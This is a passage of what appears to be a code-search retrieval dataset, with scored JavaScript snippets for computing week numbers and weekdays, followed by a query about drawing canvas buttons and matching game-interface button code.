CountableTimeInterval(floor, offset, count);\r\n}", "title": "" }, { "docid": "2fa4511c54a0e945eb8cf47aec84813b", "score": "0.66041875", "text": "function weeklyHash(date){\n var curr = new Date(date); // get current date\n var first = curr.getDate() - curr.getDay(); // First day is the day of the month - the day of the week\n return new Date(curr.setDate(first)).toISOString().substr(0,10);\n }", "title": "" }, { "docid": "0c827108df75521e9ce33ab5630cc119", "score": "0.6601324", "text": "function weekBasedYear(date) {\n var thursday = new Date(date.getFullYear(), date.getMonth(), date.getDate() - dayOfWeek(date) + 4);\n return thursday.getFullYear();\n }", "title": "" }, { "docid": "be233e59bdf8f61cf3bb4d3bd5b3f12a", "score": "0.66008437", "text": "function getDayInWeek(){\r\n\tvar d = new Date();\r\n var utc = d.getTime() - (d.getTimezoneOffset() * 60000);\r\n var nd = new Date(utc + (3600000 * 16));\r\n return nd.getDay();\r\n}", "title": "" }, { "docid": "28c23a94076505bd778c86f41e8e5f34", "score": "0.65911245", "text": "function getDayOfWeek(date) {\n var calendarType =\n arguments.length > 1 && arguments[1] !== undefined\n ? arguments[1]\n : CALENDAR_TYPES.ISO_8601;\n var weekday = date.getDay();\n\n switch (calendarType) {\n case CALENDAR_TYPES.ISO_8601:\n // Shifts days of the week so that Monday is 0, Sunday is 6\n return (weekday + 6) % 7;\n\n case CALENDAR_TYPES.ARABIC:\n return (weekday + 1) % 7;\n\n case CALENDAR_TYPES.HEBREW:\n case CALENDAR_TYPES.US:\n return weekday;\n\n default:\n throw new Error(\"Unsupported calendar type.\");\n }\n}", "title": "" }, { "docid": "8d30784fecd867a77f80784e0c522d83", "score": "0.6517502", "text": "function weekday(n) {\n // Sets the `date` to the start of the `n`-th day of the current week.\n // n == 0 is Sunday.\n function floor(date) {\n date.setUTCDate(date.getUTCDate() - (date.getUTCDay() + 7 - n) % 7);\n date.setHours(0, 0, 0, 0); // h, m, s, ms\n }\n // Offset the date by the given number of weeks.\n function offset(date, weeks) {\n date.setUTCDate(date.getUTCDate() + weeks * 7);\n }\n // Count the number of weeks between teh start and end dates.\n function count(start, end) {\n return (end.getTime() - start.getTime()) / __WEBPACK_IMPORTED_MODULE_0__duration__[\"f\" /* durationWeek */];\n }\n return new __WEBPACK_IMPORTED_MODULE_1__interval__[\"a\" /* CountableTimeInterval */](floor, offset, count);\n}", "title": "" }, { "docid": "812742bff10bb9de5893488c9fa88017", "score": "0.6512655", "text": "function weekOfYear(mom,firstDayOfWeek,firstDayOfWeekOfYear){var end=firstDayOfWeekOfYear - firstDayOfWeek,daysToDayOfWeek=firstDayOfWeekOfYear - mom.day(),adjustedMoment;if(daysToDayOfWeek > end){daysToDayOfWeek -= 7;}if(daysToDayOfWeek < end - 7){daysToDayOfWeek += 7;}adjustedMoment = local__createLocal(mom).add(daysToDayOfWeek,'d');return {week:Math.ceil(adjustedMoment.dayOfYear() / 7),year:adjustedMoment.year()};} // LOCALES", "title": "" }, { "docid": "4ed47f093c90c4b0db1950e000dbc6cd", "score": "0.6495761", "text": "function outputWeekDay(date) {\n const weekDays = [\n \"Sunday\",\n \"Monday\",\n \"Tuesday\",\n \"Wednesday\",\n \"Thursday\",\n \"Friday\",\n \"Saturday\",\n ];\n const splittedDate = date.split(\"/\");\n const day = splittedDate[0];\n const month = splittedDate[1] - 1;\n const year = splittedDate[2];\n const weekDayIndex = new Date(year, month, day).getDay();\n return weekDays[weekDayIndex];\n}", "title": "" }, { "docid": "0a260ebfaaa0928e0b9ea27f1096648f", "score": "0.64827377", "text": "function getDayForWeekStat (date) {\n var dd = new Date(date)\n var day = DAYS_LABEL[dd.getDay()]\n var dayn = dd.getDate()\n var month = MONTHS_LABEL[dd.getMonth()]\n\n return day + ' ' + dayn + ' <br> ' + month\n}", "title": "" }, { "docid": "063422d9ea1963b5db06c3578aac2e9b", "score": "0.6475529", "text": "function getNextWeekDate(date) {\n var nextWeekDate = new Date(date.getTime() + 7 * 24 * 3600 * 1000);\n return nextWeekDate;\n}", "title": "" }, { "docid": "c849278a660f7a87d6faf176c99ef24c", "score": "0.6447354", "text": "function getWeekDay(data) {\n let week = [\n 'Sunday',\n 'Monday',\n 'Tuesday',\n 'Wednesday',\n 'Thursday',\n 'Friday',\n 'Saturday'\n ];\n if (typeof data === 'number') {\n data = new Date(data);\n }\n let checkDay = data.getDay();\n for (let i = 0; i < week.length; i++) {\n if (i === checkDay) {\n return week[i];\n }\n }\n}", "title": "" }, { "docid": "9d5bd5b2f6ba9e8e173626033ab5a81b", "score": "0.64282936", "text": "function Calendar_getDayInWeek( year, month, date ) {\n if ( year != null && month != null && date != null ) {\n var aDate = new Date( year, month, date );\n return aDate.getDay();\n }\n return this.firstDay;\n}", "title": "" }, { "docid": "9164c36bf34c776e67f9adfc7c0515f5", "score": "0.6413593", "text": "function week(year, month, day) {\n function serial(days) {\n return 86400000 * days;\n }\n function dateserial(year, month, day) {\n return (new Date(year, month - 1, day).valueOf());\n }\n function weekday(date) {\n return (new Date(date)).getDay() + 1;\n }\n function yearserial(date) {\n return (new Date(date)).getFullYear();\n }\n var date = year instanceof Date ? year.valueOf() : typeof year === \"string\" ? new Date(year).valueOf() : dateserial(year, month, day),\n date2 = dateserial(yearserial(date - serial(weekday(date - serial(1))) + serial(4)), 1, 3);\n return ~~((date - date2 + serial(weekday(date2) + 5)) / serial(7));\n}", "title": "" }, { "docid": "e19767c126afdf10bf3c48c5eae55b39", "score": "0.63685346", "text": "function dayOfWeekInMonth(date) {\n return Math.ceil(date.getDate() / 7);\n }", "title": "" }, { "docid": "839f1a6ceeed73c0051c7beac4bc6721", "score": "0.63664585", "text": "function getDayOfWeek(date) {\n var calendarType = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : _const__WEBPACK_IMPORTED_MODULE_0__.CALENDAR_TYPES.ISO_8601;\n var weekday = date.getDay();\n\n switch (calendarType) {\n case _const__WEBPACK_IMPORTED_MODULE_0__.CALENDAR_TYPES.ISO_8601:\n // Shifts days of the week so that Monday is 0, Sunday is 6\n return (weekday + 6) % 7;\n\n case _const__WEBPACK_IMPORTED_MODULE_0__.CALENDAR_TYPES.ARABIC:\n return (weekday + 1) % 7;\n\n case _const__WEBPACK_IMPORTED_MODULE_0__.CALENDAR_TYPES.HEBREW:\n case _const__WEBPACK_IMPORTED_MODULE_0__.CALENDAR_TYPES.US:\n return weekday;\n\n default:\n throw new Error('Unsupported calendar type.');\n }\n}", "title": "" }, { "docid": "d3793e8c71d250535fa10f17596d7ed8", "score": "0.636352", "text": "function startOfWeek(date) {\n\tvar diff = date.getDate() - date.getDay() + (date.getDay() === 0 ? -6 : 1);\n\n\treturn new Date(date.setDate(diff));\n\n}", "title": "" }, { "docid": "78b4e6dee361ce1fd5cb1814767de488", "score": "0.6358549", "text": "function getDayOfWeek(date) {\n let daysOfWeek = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'];\n return daysOfWeek[date.getDay()];\n}", "title": "" }, { "docid": "1f4d2e2991b917bf8efc10bdc6b43841", "score": "0.63580394", "text": "function dateFromWeekNumber(year, week) {\r\n var d = new Date(year, 0, 1);\r\n var dayNum = d.getDay();\r\n var diff = --week * 7;\r\n var retstr;\r\n\r\n // If 1 Jan is Friday to Sunday, go to next week\r\n if (!dayNum || dayNum > 4) {\r\n diff += 7;\r\n }\r\n\r\n // Add required number of days\r\n d.setDate(d.getDate() - d.getDay() + ++diff);\r\n retstr = d.getDate() + '/' + (d.getMonth()+1) + '/' +(d.getYear()+1900);\r\n retstr += ' - ';\r\n var numberOfWeekdays = 6;\r\n d.setDate(d.getDate() + numberOfWeekdays);\r\n retstr += d.getDate() + '/' + (d.getMonth()+1) + '/' +(d.getYear()+1900)\r\n return retstr;\r\n}", "title": "" }, { "docid": "edc5fa347a942d63bd27a54e198533c1", "score": "0.6354074", "text": "function getDayOfWeek(date) {\n let daysOfWeek = [\n 'Sunday',\n 'Monday',\n 'Tuesday',\n 'Wednesday',\n 'Thursday',\n 'Friday',\n 'Saturday',\n ];\n\n return daysOfWeek[date.getDay()];\n}", "title": "" }, { "docid": "2cbe6db0e0ae35de78b4a0d60cf6c506", "score": "0.63531154", "text": "function startOfWeek(date) {\n date = new Date(date);\n var diff = date.getDate() - date.getDay() + (date.getDay() === 0 ? -6 : 1);\n return new Date(date.setDate(diff));\n}", "title": "" }, { "docid": "3371ef957b5136566658cb2bf9063692", "score": "0.6349655", "text": "function getDateOfISOWeek(w, y) {\n\n var simple = new Date(y, 0, 1 + (w - 1) * 7);\n var dow = simple.getDay();\n var ISOWeekStart = simple;\n if (dow <= 4)\n ISOWeekStart.setDate(simple.getDate() - simple.getDay() + 1);\n else\n ISOWeekStart.setDate(simple.getDate() + 8 - simple.getDay());\n ISOWeekStart.setHours(-(ISOWeekStart.getTimezoneOffset() / 60));\n\n return ISOWeekStart;\n} // thanks to Jordan Trudgatt", "title": "" }, { "docid": "225af8c6125ca667f0570d9d4143d9a0", "score": "0.6330866", "text": "function weekFormat() {\n\n var format = function format(d) {\n return formatWeekYear(d) + \"w\" + formatWeek(d);\n };\n\n format.parse = function parse(dateString) {\n var matchedDate = dateString.match(/^(\\d{4})w(\\d{2})$/);\n return matchedDate ? getDateFromWeek(matchedDate[1], matchedDate[2]) : null;\n };\n\n var formatWeekYear = function formatWeekYear(d) {\n if (!(d instanceof Date)) d = new Date(+d);\n return new Date(+d + (4 - (d.getUTCDay() || 7)) * 86400000).getUTCFullYear();\n };\n\n var formatWeek = function formatWeek(d) {\n if (!(d instanceof Date)) d = new Date(+d);\n var quote = new Date(+d + (4 - (d.getUTCDay() || 7)) * 86400000);\n var week = Math.ceil(((quote.getTime() - quote.setUTCMonth(0, 1)) / 86400000 + 1) / 7);\n return week < 10 ? \"0\" + week : week;\n };\n\n var getDateFromWeek = function getDateFromWeek(p1, p2) {\n var week = parseInt(p2);\n var year = p1;\n var startDateOfYear = new Date(); // always 4th of January (according to standard ISO 8601)\n startDateOfYear.setUTCFullYear(year);\n startDateOfYear.setUTCMonth(0);\n startDateOfYear.setUTCDate(4);\n var startDayOfWeek = startDateOfYear.getUTCDay() || 7;\n var dayOfWeek = 1; // Monday === 1\n var dayOfYear = week * 7 + dayOfWeek - (startDayOfWeek + 4);\n\n var date = formats[\"year\"].data.parse(year);\n date = new Date(date.getTime() + dayOfYear * 24 * 60 * 60 * 1000);\n\n return date;\n };\n\n return format;\n}", "title": "" }, { "docid": "d7e758a7ecdf6394dddee212fbdec5e1", "score": "0.63081884", "text": "function getUTCWeek(dirtyDate, options) {\n requiredArgs(1, arguments);\n var date = toDate(dirtyDate);\n var diff = startOfUTCWeek(date, options).getTime() - startOfUTCWeekYear(date, options).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / MILLISECONDS_IN_WEEK$1) + 1;\n}", "title": "" }, { "docid": "d7e758a7ecdf6394dddee212fbdec5e1", "score": "0.63081884", "text": "function getUTCWeek(dirtyDate, options) {\n requiredArgs(1, arguments);\n var date = toDate(dirtyDate);\n var diff = startOfUTCWeek(date, options).getTime() - startOfUTCWeekYear(date, options).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / MILLISECONDS_IN_WEEK$1) + 1;\n}", "title": "" }, { "docid": "d7e758a7ecdf6394dddee212fbdec5e1", "score": "0.63081884", "text": "function getUTCWeek(dirtyDate, options) {\n requiredArgs(1, arguments);\n var date = toDate(dirtyDate);\n var diff = startOfUTCWeek(date, options).getTime() - startOfUTCWeekYear(date, options).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / MILLISECONDS_IN_WEEK$1) + 1;\n}", "title": "" }, { "docid": "743c8f2cbc6a0ae7872c68baaaa1ff58", "score": "0.63043034", "text": "function getUTCWeek(dirtyDate, options) {\n requiredArgs(1, arguments);\n var date = toDate(dirtyDate);\n var diff = startOfUTCWeek(date, options).getTime() - startOfUTCWeekYear(date, options).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / getUTCWeek_MILLISECONDS_IN_WEEK) + 1;\n}", "title": "" }, { "docid": "743c8f2cbc6a0ae7872c68baaaa1ff58", "score": "0.63043034", "text": "function getUTCWeek(dirtyDate, options) {\n requiredArgs(1, arguments);\n var date = toDate(dirtyDate);\n var diff = startOfUTCWeek(date, options).getTime() - startOfUTCWeekYear(date, options).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / getUTCWeek_MILLISECONDS_IN_WEEK) + 1;\n}", "title": "" }, { "docid": "fcacee903385933395102cb1ccc73c1c", "score": "0.6280469", "text": "function weekOfMonth(date) {\n var thursday = new Date(date.getFullYear(), date.getMonth(), date.getDate() - dayOfWeek(date) + 4);\n var day4 = new Date(thursday.getFullYear(), thursday.getMonth(), 4);\n var dayDiff = thursday.getDate() - 4 + dayOfWeek(day4);\n return Math.ceil(dayDiff / 7);\n }", "title": "" }, { "docid": "8298a8c2e88452467b75e7808bc34307", "score": "0.6278154", "text": "function getWeekDay(day) {\n const daysOfWeek = ['Sunday', 'Mondey', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'];\n return daysOfWeek[day];\n}", "title": "" }, { "docid": "78ae0cf8e585e665d5fb637cdb90a617", "score": "0.62650245", "text": "function getUTCWeek(dirtyDate, options) {\n if (arguments.length < 1) {\n throw new TypeError('1 argument required, but only ' + arguments.length + ' present');\n }\n\n var date = toDate(dirtyDate);\n var diff = startOfUTCWeek(date, options).getTime() - startOfUTCWeekYear(date, options).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / MILLISECONDS_IN_WEEK$1) + 1;\n }", "title": "" }, { "docid": "581209d23162a057a3f7b394c539d9a6", "score": "0.62431127", "text": "function getUTCWeek(dirtyDate, options) {\n (0, _index4.default)(1, arguments);\n var date = (0, _index.default)(dirtyDate);\n var diff = (0, _index2.default)(date, options).getTime() - (0, _index3.default)(date, options).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / MILLISECONDS_IN_WEEK) + 1;\n}", "title": "" }, { "docid": "581209d23162a057a3f7b394c539d9a6", "score": "0.62431127", "text": "function getUTCWeek(dirtyDate, options) {\n (0, _index4.default)(1, arguments);\n var date = (0, _index.default)(dirtyDate);\n var diff = (0, _index2.default)(date, options).getTime() - (0, _index3.default)(date, options).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / MILLISECONDS_IN_WEEK) + 1;\n}", "title": "" }, { "docid": "e793e6014279e331f1f9814738e83fba", "score": "0.62419367", "text": "function getLastWeekDate(date) {\n var lastWeekDate = new Date(date.getTime() - 7 * 24 * 3600 * 1000);\n return lastWeekDate;\n}", "title": "" }, { "docid": "93f53b94a14aa88ed51fa69af099e78f", "score": "0.62242687", "text": "function getUTCISOWeek(dirtyDate) {\n requiredArgs(1, arguments);\n var date = toDate(dirtyDate);\n var diff = startOfUTCISOWeek(date).getTime() - startOfUTCISOWeekYear(date).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / MILLISECONDS_IN_WEEK) + 1;\n}", "title": "" }, { "docid": "93f53b94a14aa88ed51fa69af099e78f", "score": "0.62242687", "text": "function getUTCISOWeek(dirtyDate) {\n requiredArgs(1, arguments);\n var date = toDate(dirtyDate);\n var diff = startOfUTCISOWeek(date).getTime() - startOfUTCISOWeekYear(date).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / MILLISECONDS_IN_WEEK) + 1;\n}", "title": "" }, { "docid": "93f53b94a14aa88ed51fa69af099e78f", "score": "0.62242687", "text": "function getUTCISOWeek(dirtyDate) {\n requiredArgs(1, arguments);\n var date = toDate(dirtyDate);\n var diff = startOfUTCISOWeek(date).getTime() - startOfUTCISOWeekYear(date).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / MILLISECONDS_IN_WEEK) + 1;\n}", "title": "" }, { "docid": "93f53b94a14aa88ed51fa69af099e78f", "score": "0.62242687", "text": "function getUTCISOWeek(dirtyDate) {\n requiredArgs(1, arguments);\n var date = toDate(dirtyDate);\n var diff = startOfUTCISOWeek(date).getTime() - startOfUTCISOWeekYear(date).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / MILLISECONDS_IN_WEEK) + 1;\n}", "title": "" }, { "docid": "cd1b02720c005c28042b628a7d71b19d", "score": "0.6218381", "text": "function weekday(n) {\n // Sets the `date` to the start of the `n`-th day of the current week.\n // n == 0 is Sunday.\n function floor(date) {\n // 1..31 1..7\n date.setDate(date.getDate() - (date.getDay() + 7 - n) % 7);\n date.setHours(0, 0, 0, 0); // h, m, s, ms\n }\n // Offset the date by the given number of weeks.\n function offset(date, weeks) {\n date.setDate(date.getDate() + weeks * 7);\n }\n // Count the number of weeks between teh start and end dates.\n function count(start, end) {\n var msDelta = end.getTime() - start.getTime();\n var tzMinuteDelta = end.getTimezoneOffset() - start.getTimezoneOffset();\n return (msDelta - tzMinuteDelta * __WEBPACK_IMPORTED_MODULE_0__duration__[\"c\" /* durationMinute */]) / __WEBPACK_IMPORTED_MODULE_0__duration__[\"f\" /* durationWeek */];\n }\n return new __WEBPACK_IMPORTED_MODULE_1__interval__[\"a\" /* CountableTimeInterval */](floor, offset, count);\n}", "title": "" }, { "docid": "7b86821181455d808a01686c158b01bb", "score": "0.6217769", "text": "function ICAL_getDayOfWeek(temporal) {\n return (temporal.date - 1 +\n ICAL_firstDayOfWeekInMonth(temporal.year, temporal.month)) % 7;\n}", "title": "" }, { "docid": "d2fa97ea5cc7a27cfe1cae9a7f9b0981", "score": "0.6216976", "text": "function getUTCISOWeek(dirtyDate) {\n requiredArgs(1, arguments);\n var date = toDate(dirtyDate);\n var diff = startOfUTCISOWeek(date).getTime() - startOfUTCISOWeekYear(date).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / getUTCISOWeek_MILLISECONDS_IN_WEEK) + 1;\n}", "title": "" }, { "docid": "8a6507732e8431dba95f6bafbb823498", "score": "0.61995155", "text": "function getUTCISOWeek(dirtyDate) {\n if (arguments.length < 1) {\n throw new TypeError('1 argument required, but only ' + arguments.length + ' present');\n }\n\n var date = toDate(dirtyDate);\n var diff = startOfUTCISOWeek(date).getTime() - startOfUTCISOWeekYear(date).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / MILLISECONDS_IN_WEEK) + 1;\n }", "title": "" }, { "docid": "d31d38b9fb7290010e512010c099f967", "score": "0.61983013", "text": "function getCurrentWeek(result, i) {\n //console.log(result.pageTables[0].tables);\n //console.log(\"pagetablesdata: \" + result.pageTables.length)\n for (w = 0; w < result.pageTables.length; w++) {\n //if(result.pageTables[w].tables){\n //day of the week is stored in column 4 (this may change :( )\n //console.log(daydata);\n //console.log(result.pageTables[w].tables);\n var dayTable = getDayTable(result.pageTables[w].tables);\n //console.log(dayTable)\n var daydata = result.pageTables[w].tables[dayTable];\n var daywholedate = daydata[0]\n\n //wednesdays are buggy (have a length greater than 18 so no new line)???\n if (daywholedate.indexOf(\"\\n\") < 0) {\n daywholedate = daywholedate.split('y')[0] + 'y' + '\\n' + daywholedate.split('y')[1]\n }\n daydate = daywholedate.split('\\n')[1];\n //adding a week for testing\n var weekstart = moment().startOf('isoWeek').format('L'); //.add(1, 'days')\n if (weekstart == daydate) {\n return w;\n\n }\n }\n //}\n}", "title": "" }, { "docid": "07ee53899895d08e3275a525dba3a6ef", "score": "0.61770195", "text": "function getUTCWeek(dirtyDate, options) {\n Object(__WEBPACK_IMPORTED_MODULE_3__requiredArgs_index_js__[\"a\" /* default */])(1, arguments);\n var date = Object(__WEBPACK_IMPORTED_MODULE_0__toDate_index_js__[\"a\" /* default */])(dirtyDate);\n var diff = Object(__WEBPACK_IMPORTED_MODULE_1__startOfUTCWeek_index_js__[\"a\" /* default */])(date, options).getTime() - Object(__WEBPACK_IMPORTED_MODULE_2__startOfUTCWeekYear_index_js__[\"a\" /* default */])(date, options).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / MILLISECONDS_IN_WEEK) + 1;\n}", "title": "" }, { "docid": "dfe708eebe6a863efd1d095e4595fbed", "score": "0.61765385", "text": "function daysOfTheWeek (s, K){\n const remainder = K % 7;\n const days = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\"]\n const start = days.indexOf(s);\n const endIndex = (remainder+start) % 7\n const end = days[endIndex];\n return end;\n}", "title": "" }, { "docid": "459f190f63f94f9fd8ca8f750c174678", "score": "0.61295515", "text": "function getUTCWeek(dirtyDate, options) {\n if (arguments.length < 1) {\n throw new TypeError('1 argument required, but only ' + arguments.length + ' present');\n }\n\n var date = toDate(dirtyDate);\n var diff = startOfUTCWeek(date, options).getTime() - startOfUTCWeekYear(date, options).getTime(); // Round the number of days to the nearest integer\n // because the number of milliseconds in a week is not constant\n // (e.g. it's different in the week of the daylight saving time clock shift)\n\n return Math.round(diff / MILLISECONDS_IN_WEEK$1) + 1;\n}", "title": "" }, { "docid": "78d4addc1e49ff27eca8030abc69f119", "score": "0.6127138", "text": "function getFirstDayWeekOfYear(date, firstDayOfWeek) {\n var num = getDayOfYear(date) - 1;\n var num2 = date.getDay() - num % _dateValues_timeConstants__WEBPACK_IMPORTED_MODULE_1__[\"default\"].DaysInOneWeek;\n var num3 = (num2 - firstDayOfWeek + 2 * _dateValues_timeConstants__WEBPACK_IMPORTED_MODULE_1__[\"default\"].DaysInOneWeek) % _dateValues_timeConstants__WEBPACK_IMPORTED_MODULE_1__[\"default\"].DaysInOneWeek;\n return Math.floor((num + num3) / _dateValues_timeConstants__WEBPACK_IMPORTED_MODULE_1__[\"default\"].DaysInOneWeek + 1);\n}", "title": "" }, { "docid": "57813815960a752486173fd6f7bf797b", "score": "0.61124307", "text": "function findOutChristmasWeekday(date) {\n // first I will set a new variable to the date as a date object\n const christmas = new Date(date);\n console.log(christmas.getDay());\n // the above console gives me exactly what I was expecting. So now I need to convert it to the return value of\n // the day of the week\n if (christmas.getDay() === 0) {\n return 'Sunday';\n } else if (christmas.getDay() === 1) {\n return 'Monday';\n } else if (christmas.getDay() === 2) {\n return 'Tuesday';\n } else if (christmas.getDay() === 3) {\n return 'Wednesday';\n } else if (christmas.getDay() === 4) {\n return 'Thursday';\n } else if (christmas.getDay() === 5) {\n return 'Friday';\n } else {\n return 'Saturday';\n }\n}", "title": "" } ]
19423e379a4e540aaee6d72dcf5add9a
Creates a new square button with the given position, backgrounds, text, actions and type. x,y Sets the position in the canvas. wh Sets the width and height of the button. bColor The background color of the button. hBColorThe hover color of the button. txtThe label of the button. action The value that gets set to the global variable that tracks the action. isFig Determines if this is a figure button or a background button(f).
[ { "docid": "e383a1fc4c4abfdc670bf9e9942e4b9e", "score": "0.72166806", "text": "function drawButton(x,y,wh,bColor,hColor,txt,action){\n push();\n // Draw the text and try to center it(25 would be the size of a 100 wh button).\n fill(txtColor);\n var txtSize = wh*25/100;\n textSize(txtSize);\n textAlign(CENTER);\n text(txt, x, y+wh+txtSize,wh);\n \n // If the mouse is over the button, change the background to the hover color.\n // and check if it is pressed to sets the action.\n // otherwise, the mouse is outside the button boundaries, so\n // return the background color to its original color.\n if (checkMouse(x,y,wh,wh)) {\n // set Hover color\n fill(hColor);\n \trect(x,y,wh,wh);\n \n // If the mouse is pressed, set the action to selectedFigure.\n\t\tif(mouseIsPressed) {\n // If this is a figure button(actions 0-7), set \"selectedFigure\" which determines\n // which figure is currently selected.\n // Otherwise, set \"selectedBackground\" which determines which background is currently\n // selected.\n if(action<8) {\n \t\tselectedFigure = action;\n } else {\n selectedBackground = action;\n // Draw the canvas background;\n drawScreen();\n }\n }\n } else {\n // Return the background to its original color.\n \tfill(bColor);\n rect(x,y,wh,wh);\n }\n \n // If this button is selected([selectedFigure or selectedBackground] are equal to the [action])\n // then paint a selection square on top of the button.\n if (selectedFigure == action || selectedBackground == action) {\n // Paint the Selection Square\n fill(color(230, 230, 230, 100));\n noStroke();\n \trect(x-5,y-5,wh+10,wh+10);\n }\n pop();\n}", "title": "" } ]
[ { "docid": "ef8e916cada2da5da54bdbb907b79f98", "score": "0.6739085", "text": "function Button(relX,relY,w,h,text,col,type,func,func2 = undefined){\r\n\tthis.relX = relX;\r\n\tthis.relY = relY;\r\n\tthis.w = w;\r\n\tthis.h = h;\r\n\tthis.text = text;\r\n\tthis.execute = func;\r\n\tthis.col = col;\r\n\tthis.type = type;\r\n\t\r\n\tif (this.type === \"check\"){\r\n\t\tthis.checked = false;\r\n\t\tthis.undo = func2;\r\n\t\tthis.w = 20;\r\n\t\tthis.h = 20;\r\n\t}\r\n\t\r\n\tthis.draw = function(infoBoxX,infoBoxY){\r\n\t\tlet totalX = infoBoxX + this.relX;\r\n\t\tlet totalY = infoBoxY + this.relY;\r\n\t\t\r\n\t\tif (this.type === \"normal\"){\r\n\t\t\t//Draw box, then text\r\n\t\t\tdrawRect(totalX,totalY,this.w,this.h,this.col,\"black\",true);\r\n\t\t\tdrawText(this.text,totalX + 5,totalY + 5, \"15px Verdana\", \"start\", \"hanging\", \"black\");\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\telse if (this.type === \"check\"){\r\n\t\t\t\r\n\t\t\tdrawRect(totalX,totalY,20,20,\"white\",\"black\",true);\r\n\t\t\tif (this.checked){\r\n\t\t\t\tdrawText(\"X\",totalX + 5,totalY + 4,\"15px Verdana\", \"middle\",\"center\",\"red\");\r\n\t\t\t}\r\n\t\t\tdrawText(this.text,totalX + 25, totalY + 5, \"15px Verdana\", \"start\", \"hanging\", \"black\");\r\n\t\t\t\r\n\t\t}\r\n\t};\r\n\tthis.check = function(){\r\n\t\tif (!(this.type === \"check\")){ return; }\r\n\t\t\r\n\t\tif (this.checked){\r\n\t\t\tthis.undo();\r\n\t\t\tthis.checked = false;\r\n\t\t}\r\n\t\telse if (!this.checked){\r\n\t\t\tthis.execute();\r\n\t\t\tthis.checked = true;\r\n\t\t\t\r\n\t\t}\r\n\t};\r\n}", "title": "" }, { "docid": "60bf203c6dea358c3a5b769a94967e75", "score": "0.6479516", "text": "function Button(){ \r\n\tvar that = {};\r\n\t\t\r\n \tthat.x = 0;\r\n \tthat.y = 0;\r\n \tthat.w = 1; \r\n \tthat.h = 1;\r\n\tthat.fontStyle = \"12pt Calibri\";\r\n \tthat.fill = '#444444';\r\n \tthat.title = \"\";\r\n\tthat.type = buttonType.Empty;\r\n\r\n\t//targetCanvas = either real canvas or ghostcanvas. ghostcanvas for checking if selected.\r\n \tthat.draw = function(targetCanvas){\r\n\t\tswitch (that.type)\r\n\t\t{\r\n\t\t\t//Some button types only get drawn in certain cases.\r\n\t\t\tcase buttonType.EndTurn:\r\n\t\t\t\ttargetCanvas.drawImage(img.end_turn,that.x,that.y);\r\n\t\t\tbreak;\r\n\t\t\tcase buttonType.Upgrade:\r\n\t\t\t\t//Only draw upgrade buttons if the planet is still upgradable.\r\n\t\t\t\tif(selectedPlanet.upgradeStats.maxUpgradeLevel > selectedPlanet.upgradeLevel){\r\n\t\t\t\t\ttargetCanvas.drawImage(img.upgrade_planet,that.x+20,that.y);\r\n\t\t\t\t}\r\n\t\t\tbreak;\r\n\t\t\tcase buttonType.RemoveCR:\r\n\t\t\t\ttargetCanvas.drawImage(img.ok_button,that.x,that.y);\r\n\t\t\tbreak;\r\n\t\t\tcase buttonType.RemoveGO:\r\n\t\t\t\ttargetCanvas.drawImage(img.ok_button,that.x,that.y);\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\t//Build ship buttons\r\n\t\t\tcase buttonType.BuildScout:\r\n\t\t\t\timg.drawBuildShipButton(\"scout\",that.x,that.y, selectedPlanet.productionPlan.noScouts, targetCanvas);\r\n\t\t\tbreak;\t\t\t\r\n\t\t\tcase buttonType.BuildFrigate:\r\n\t\t\t\timg.drawBuildShipButton(\"frigate\",that.x,that.y, selectedPlanet.productionPlan.noFrigates, targetCanvas);\r\n\t\t\tbreak;\r\n\t\t\tcase buttonType.BuildFighter:\r\n\t\t\t\timg.drawBuildShipButton(\"fighter\",that.x,that.y, selectedPlanet.productionPlan.noFighters, targetCanvas);\r\n\t\t\tbreak;\r\n\t\t\tcase buttonType.BuildDreadnaught:\r\n\t\t\t\timg.drawBuildShipButton(\"dreadnaught\",that.x,that.y, selectedPlanet.productionPlan.noDreadnaughts, targetCanvas);\r\n\t\t\tbreak;\r\n\t\t\tcase 